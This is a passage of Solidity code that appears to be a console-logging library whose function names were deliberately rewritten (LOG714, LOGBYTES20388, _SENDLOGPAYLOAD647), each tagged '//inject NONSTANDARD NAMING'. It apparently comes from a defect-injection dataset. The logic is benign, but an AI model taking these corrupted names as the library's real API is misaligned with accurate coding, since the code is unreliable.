NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes19)", p0)); } function LOGBYTES20388(bytes20 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes20)", p0)); } function LOGBYTES21100(bytes21 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes21)", p0)); } function LOGBYTES22420(bytes22 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes22)", p0)); } function LOGBYTES238(bytes23 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes23)", p0)); } function LOGBYTES24936(bytes24 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes24)", p0)); } function LOGBYTES25750(bytes25 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes25)", p0)); } function LOGBYTES26888(bytes26 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes26)", p0)); } function LOGBYTES2749(bytes27 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes27)", p0)); } function LOGBYTES28446(bytes28 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes28)", p0)); } function LOGBYTES29383(bytes29 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes29)", p0)); } function LOGBYTES30451(bytes30 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes30)", p0)); } function LOGBYTES31456(bytes31 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes31)", p0)); } function LOGBYTES32174(bytes32 p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bytes32)", p0)); } function LOG714(uint p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint)", p0)); } function LOG714(string memory p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string)", p0)); } function LOG714(bool p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool)", p0)); } function LOG714(address p0) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address)", p0)); } function LOG714(uint p0, uint p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint)", p0, p1)); } function LOG714(uint p0, string memory p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string)", p0, p1)); } function LOG714(uint p0, bool p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool)", p0, p1)); } function LOG714(uint p0, address p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address)", p0, p1)); } function LOG714(string memory p0, uint p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint)", p0, p1)); } function LOG714(string memory p0, string memory p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string)", p0, p1)); } function LOG714(string memory p0, bool p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool)", p0, p1)); } function LOG714(string memory p0, address p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address)", p0, p1)); } function LOG714(bool p0, uint p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint)", p0, p1)); } function LOG714(bool p0, string memory p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string)", p0, p1)); } function LOG714(bool p0, bool p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool)", p0, p1)); } function LOG714(bool p0, address p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address)", p0, p1)); } function LOG714(address p0, uint p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint)", p0, p1)); } function LOG714(address p0, string memory p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string)", p0, p1)); } function LOG714(address p0, bool p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool)", p0, p1)); } function LOG714(address p0, address p1) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address)", p0, p1)); } function LOG714(uint p0, uint p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2)); } function LOG714(uint p0, uint p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2)); } function LOG714(uint p0, uint p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2)); } function LOG714(uint p0, uint p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2)); } function LOG714(uint p0, string memory p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2)); } function LOG714(uint p0, string memory p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2)); } function LOG714(uint p0, string memory p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2)); } function LOG714(uint p0, string memory p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2)); } function LOG714(uint p0, bool p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2)); } function LOG714(uint p0, bool p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2)); } function LOG714(uint p0, bool p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2)); } function LOG714(uint p0, bool p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2)); } function LOG714(uint p0, address p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2)); } function LOG714(uint p0, address p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2)); } function LOG714(uint p0, address p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2)); } function LOG714(uint p0, address p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2)); } function LOG714(string memory p0, uint p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2)); } function LOG714(string memory p0, uint p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2)); } function LOG714(string memory p0, uint p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2)); } function LOG714(string memory p0, uint p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2)); } function LOG714(string memory p0, string memory p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2)); } function LOG714(string memory p0, string memory p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2)); } function LOG714(string memory p0, string memory p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2)); } function LOG714(string memory p0, string memory p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2)); } function LOG714(string memory p0, bool p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2)); } function LOG714(string memory p0, bool p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2)); } function LOG714(string memory p0, bool p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2)); } function LOG714(string memory p0, bool p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2)); } function LOG714(string memory p0, address p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2)); } function LOG714(string memory p0, address p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2)); } function LOG714(string memory p0, address p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2)); } function LOG714(string memory p0, address p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2)); } function LOG714(bool p0, uint p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2)); } function LOG714(bool p0, uint p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2)); } function LOG714(bool p0, uint p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2)); } function LOG714(bool p0, uint p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2)); } function LOG714(bool p0, string memory p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2)); } function LOG714(bool p0, string memory p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2)); } function LOG714(bool p0, string memory p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2)); } function LOG714(bool p0, string memory p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2)); } function LOG714(bool p0, bool p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2)); } function LOG714(bool p0, bool p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2)); } function LOG714(bool p0, bool p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2)); } function LOG714(bool p0, bool p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2)); } function LOG714(bool p0, address p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2)); } function LOG714(bool p0, address p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2)); } function LOG714(bool p0, address p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2)); } function LOG714(bool p0, address p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2)); } function LOG714(address p0, uint p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2)); } function LOG714(address p0, uint p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2)); } function LOG714(address p0, uint p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2)); } function LOG714(address p0, uint p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2)); } function LOG714(address p0, string memory p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2)); } function LOG714(address p0, string memory p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2)); } function LOG714(address p0, string memory p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2)); } function LOG714(address p0, string memory p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2)); } function LOG714(address p0, bool p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2)); } function LOG714(address p0, bool p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2)); } function LOG714(address p0, bool p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2)); } function LOG714(address p0, bool p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2)); } function LOG714(address p0, address p1, uint p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2)); } function LOG714(address p0, address p1, string memory p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2)); } function LOG714(address p0, address p1, bool p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2)); } function LOG714(address p0, address p1, address p2) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2)); } function LOG714(uint p0, uint p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, uint p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,bool,string)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,bool,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,bool,address)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,address,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,address,string)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,address,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, string memory p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,string,address,address)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,uint,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,uint,string)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,uint,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,uint,address)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,string,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,string,string)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,string,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,string,address)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,bool,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,bool,string)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,bool,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,bool,address)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,address,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,address,string)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,address,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, bool p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,bool,address,address)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,uint,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,uint,string)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, uint p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,uint,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, uint p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,uint,address)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, string memory p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,string,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, string memory p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,string,string)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, string memory p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,string,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, string memory p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,string,address)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, bool p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,bool,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, bool p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,bool,string)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, bool p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,bool,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, bool p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,bool,address)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, address p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,address,uint)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, address p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,address,string)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, address p2, bool p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,address,bool)", p0, p1, p2, p3)); } function LOG714(uint p0, address p1, address p2, address p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(uint,address,address,address)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, uint p2, uint p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,uint,uint)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, uint p2, string memory p3) internal view { //inject NONSTANDARD NAMING _SENDLOGPAYLOAD647(abi.encodeWithSignature("log(string,uint,uint,string)", p0, p1, p2, p3)); } function LOG714(string memory p0, uint p1, uint p2, bool 